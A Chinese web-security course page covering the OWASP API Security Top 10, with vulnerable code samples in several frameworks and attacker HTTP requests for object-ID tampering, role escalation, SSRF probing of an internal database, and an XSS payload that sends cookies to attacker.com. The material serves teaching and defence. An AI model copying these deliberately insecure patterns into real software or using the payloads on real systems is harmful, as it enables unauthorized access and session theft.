WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
37-API常见漏洞
浏览
1
来源于OWASP API Security Top 10,https://owasp.org/API-Security/ OWASP(Open Web Application Security Project,开放 Web 应用安全项目)是一个全球性的非营利组织,致力于提升软件(尤其是 Web 应用)的安全性。 自 2001 年成立以来,它通过社区协作、开源资源和实践指南,成为全球软件安全领域最具影响力的权威组织之一。 ## API TOP 10 ### BOLA Broken Object Level Authorization 对象级授权失效 描述:API未正确验证用户对特定对象的访问权限,常见于依赖客户端传入对象ID的场景。攻击者通过修改对象ID(如用户ID、订单ID)访问未授权数据。 案例: - 金融行业:某银行API允许通过用户ID查询交易记录,攻击者伪造用户ID获取他人交易明细。 - 电商行业:某电商平台API未验证商品ID归属,攻击者通过遍历ID窃取商品库存信息。 漏洞代码示例(Node.js/Express) ```javascript // 错误实现:仅验证用户登录状态,未校验订单归属 app.get('/api/orders/:orderId', authenticate, (req, res) => { const orderId = req.params.orderId; // 直接查询订单,未关联当前用户ID db.query('SELECT FROM orders WHERE id = ?', [orderId], (err, result) => { if (result.length > 0) { res.json(result[0]); // 返回订单详情(无论归属) } else { res.status(404).send('Order not found'); } }); }); ``` 正常的用户请求和响应,用户查询自己的订单: ```http GET /api/orders/1001 HTTP/1.1 Host: example.com Authorization: Bearer {合法用户token} ``` ```http HTTP/1.1 200 OK { "id": 1001, "userId": 123, // 匹配当前用户 "amount": 99.99, "address": "用户A的地址" } ``` 攻击者请求和响应,篡改orderid查询他人订单: ```http GET /api/orders/1002 HTTP/1.1 Host: example.com Authorization: Bearer {合法用户token} ``` ```http HTTP/1.1 200 OK { "id": 1002, "userId": 456, // 属于其他用户 "amount": 199.99, "address": "用户B的地址" // 未授权访问 } ``` ### 认证失效 Broken Authentication 认证失效 描述:身份验证机制实现缺陷,如弱密码策略、令牌泄露或暴力破解漏洞。攻击者通过破解令牌或利用实现缺陷冒充合法用户。 案例: - 金融行业:某证券平台API密钥明文存储,被木马程序盗取后,攻击者操作账户进行高频交易。 - 电商行业:某商城API未限制登录尝试次数,攻击者通过暴力破解获取管理员账号。 漏洞代码示例(JWT配置缺陷) ```python # 错误实现:JWT过期时间过长且无刷新机制(Python/Flask) import jwt from datetime import datetime, timedelta def generate_token(user_id): payload = { "user_id": user_id, "exp": datetime.utcnow() + timedelta(days=365) # 过期时间1年(过久) } return jwt.encode(payload, "weak_secret_key", algorithm="HS256") # 密钥弱且硬编码 # 认证逻辑未校验token有效性细节 @app.route('/api/balance', methods=['GET']) def get_balance(): token = request.headers.get('Authorization').split(' ')[1] try: payload = jwt.decode(token, "weak_secret_key", algorithms=["HS256"]) # 未检查token是否被吊销/刷新 return jsonify({"balance": get_user_balance(payload["user_id"])}) except: return "Unauthorized", 401 ``` 攻击者使用窃取的旧 token的请求与响应: ```http GET /api/balance HTTP/1.1 Host: example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsImV4cCI6MTcxNzY0MDY3NX0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ``` ```http HTTP/1.1 200 OK { "balance": 5000.00 } ``` ### 对象属性级授权失效 Broken Object Property Level Authorization 对象属性级授权失效 描述:未正确控制对象属性的访问权限。攻击者通过修改请求参数暴露或修改敏感属性。 案例: - 电商行业:某商城API允许用户更新订单状态,攻击者通过修改is_paid字段将未支付订单标记为已支付。 - 物联网行业:某智能门锁API未验证属性权限,攻击者远程修改锁状态导致用户无法开门。 漏洞代码示例(Java/Spring) ```java // 错误实现:允许修改所有用户属性,未限制"role"字段 @PutMapping("/api/users/{userId}") public ResponseEntity<User> updateUser(@PathVariable Long userId, @RequestBody User user) { // 仅校验用户是否存在,未过滤敏感属性 User existingUser = userRepository.findById(userId).orElseThrow(); // 直接覆盖所有字段(包括role) existingUser.setName(user.getName()); existingUser.setEmail(user.getEmail()); existingUser.setRole(user.getRole()); // 未校验role修改权限 userRepository.save(existingUser); return ResponseEntity.ok(existingUser); } ``` 攻击者修改自身角色的请求与响应: ```http PUT /api/users/123 HTTP/1.1 Host: example.com Authorization: Bearer {普通用户token} Content-Type: application/json { "name": "Attacker", "email": "attacker@example.com", "role": "ADMIN" // 越权修改敏感属性 } ``` ```http HTTP/1.1 200 OK { "id": 123, "name": "Attacker", "email": "attacker@example.com", "role": "ADMIN" // 修改成功,权限提升 } ``` ### 资源消耗不受限 描述:未限制API请求的资源消耗,导致拒绝服务(DoS)或成本激增。攻击者通过发送大请求或高频请求耗尽服务器资源。 案例: - 电商行业:某商城API未限制图片上传大小,攻击者上传10GB文件导致服务器内存耗尽。 - 金融行业:某银行API未设置速率限制,攻击者每秒发送1000次查询请求,导致数据库瘫痪。 漏洞代码示例(Python/Flask) ```python # 错误实现:未限制文件大小和请求频率 @app.route('/api/process-image', methods=['POST']) def process_image(): # 未校验文件大小 image = request.files['image'] image.save(f'/tmp/{image.filename}') # 未限制并发,直接执行高资源消耗操作 result = high_resolution_processing(image.filename) # 耗时操作 return send_file(result) ``` 攻击者发送超大文件的请求与响应: ```http POST /api/process-image HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ----WebKitFormBoundary Content-Disposition: form-data; name="image"; filename="100mb-image.jpg" Content-Type: image/jpeg [100MB二进制数据] ----WebKitFormBoundary ``` ```http HTTP/1.1 504 Gateway Timeout # 服务器超时(资源耗尽) ``` ### BFLA Broken Function Level Authorization 功能级授权失效 描述:管理功能与普通功能授权未分离,导致未授权访问管理接口。攻击者通过普通用户权限调用管理接口。 案例: - 金融行业:某证券平台API未区分管理接口,攻击者通过普通用户权限调用/admin/users接口获取所有用户数据。 - 电商行业:某商城API管理接口未验证角色,攻击者删除他人订单。 BOLA 与 BFLA 的区别: - BOLA:用户有权访问 API 端点 / 功能,但通过操纵对象 ID 访问无权对象(对象级越权)。 - BFLA:攻击者未授权访问本不应接触的 API 端点 / 功能(功能级越权)。 漏洞代码示例(PHP/Laravel) ```php // 错误实现:仅通过URL路径判断权限,未校验用户角色 Route::delete('/api/admin/delete-customer/{id}', function ($id) { // 无角色校验中间件 Customer::destroy($id); return response()->json(['message' => 'Deleted']); }); ``` 普通用户调用管理员接口的请求与响应: ```http DELETE /api/admin/delete-customer/456 HTTP/1.1 Host: example.com Authorization: Bearer {普通用户token} ``` ```http HTTP/1.1 200 OK { "message": "Deleted" // 越权删除成功 } ``` ### 敏感业务流无限制访问 描述:敏感业务流程未加防护,如自动化评论、交易操作。攻击者通过脚本自动化操作,导致业务受损。 案例: - 电商行业:某平台API未限制评论频率,攻击者通过脚本每秒发送1000条垃圾评论。 - 金融行业:某银行API未验证交易频率,攻击者通过自动化脚本进行高频转账,触发风控。 漏洞场景(外卖下单流程): 正常流程:提交订单→支付→确认发货,但 API 未校验流程依赖关系。 攻击者跳过支付直接确认发货的请求与响应: ```http POST /api/orders/789/confirm-shipping HTTP/1.1 Host: example.com Authorization: Bearer {用户token} Content-Type: application/json { "orderId": 789, "trackingNo": "FAKE123" } ``` ```http HTTP/1.1 200 OK { "status": "shipped", "message": "订单已发货" // 未支付却发货 } ``` ### SSRF Server Side Request Forgery 服务器端请求伪造 描述:API未验证用户提供的URI,导致内部资源被非法访问。攻击者通过伪造URI访问内网地址。 案例: - 金融行业:某银行API获取远程配置时未验证URL,攻击者伪造URL访问内网数据库。 - 物联网行业:某智能设备API未限制URI,攻击者通过SSRF控制设备。 漏洞代码示例(Node.js/Express) ```javascript // 错误实现:直接使用用户输入的URL发起请求 app.get('/api/fetch-content', (req, res) => { const url = req.query.url; // 用户可控输入 // 未校验URL合法性(如禁止内网IP) fetch(url).then(response => response.text()) .then(data => res.send(data)) .catch(err => res.status(500).send(err.message)); }); ``` 攻击者探测内网数据库的请求与响应: ```http GET /api/fetch-content?url=http://192.168.1.100:3306 HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 200 OK Host '172.17.0.2' is not allowed to connect to this MySQL server ``` ### 安全配置错误 描述:API或相关组件配置不当,如默认凭证、未关闭调试接口。攻击者利用默认配置或未修复漏洞进行攻击。 案例: - 电商行业:某商城API未删除调试接口,攻击者通过/debug/pprof获取服务器性能数据。 - 金融行业:某证券平台API使用默认管理员账号,被暴力破解。 漏洞场景(生产环境启用调试模式) 触发错误时的请求与响应: ```http GET /api/users/invalid-id HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 500 Internal Server Error { "error": "SQL Error", "stack": "Traceback (most recent call last): ... File \"db.py\", line 42, in query\n cursor.execute(\"SELECT FROM users WHERE id = '%s'\" % id)\nMySQLdb._exceptions.ProgrammingError: (1064, ...)", "db_config": { "host": "192.168.1.5", "user": "root", "password": "dev_password" // 泄露敏感配置 } } ``` ### 存量资产管理不当 描述:未维护API资产清单,导致废弃端点暴露。攻击者利用未下线的旧版API进行攻击。 案例: - 金融行业:某银行未下线旧版API,攻击者通过未修复的漏洞转移资金。 - 电商行业:某商城API版本号混乱,攻击者利用旧版接口进行数据抓取。 漏洞场景(遗留 API 未下线) 访问未下线v1接口的请求与响应: ```http GET /api/v1/users HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 200 OK [ {"id": 1, "phone": "13800138000", "email": "user1@example.com"}, {"id": 2, "phone": "13900139000", "email": "user2@example.com"} ] ``` v1 接口无认证,v2 已修复但未删除 v1 ### API的不安全使用 描述:依赖第三方API时未验证数据完整性,导致供应链攻击。攻击者通过篡改第三方API响应进行攻击。 案例: - 电商行业:某应用使用被篡改的第三方天气API,响应中包含恶意脚本,触发XSS漏洞。 - 金融行业:某银行依赖的第三方支付API被植入恶意代码,导致用户资金被盗。 漏洞代码示例(前端直接渲染第三方数据) ```javascript // 错误实现:直接展示第三方API返回的未过滤数据 fetch('https://third-party-logistics.com/api/tracking?orderId=789') .then(response => response.json()) .then(data => { // 未过滤HTML/脚本标签 document.getElementById('tracking-message').innerHTML = data.message; }); ``` 请求第三方api返回恶意内容: ```json { "message": "您的快递已到达<script>document.location='http://attacker.com?cookie='+document.cookie</script>" } ``` 前端渲染后触发 XSS,导致用户 Cookie 被窃取。
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~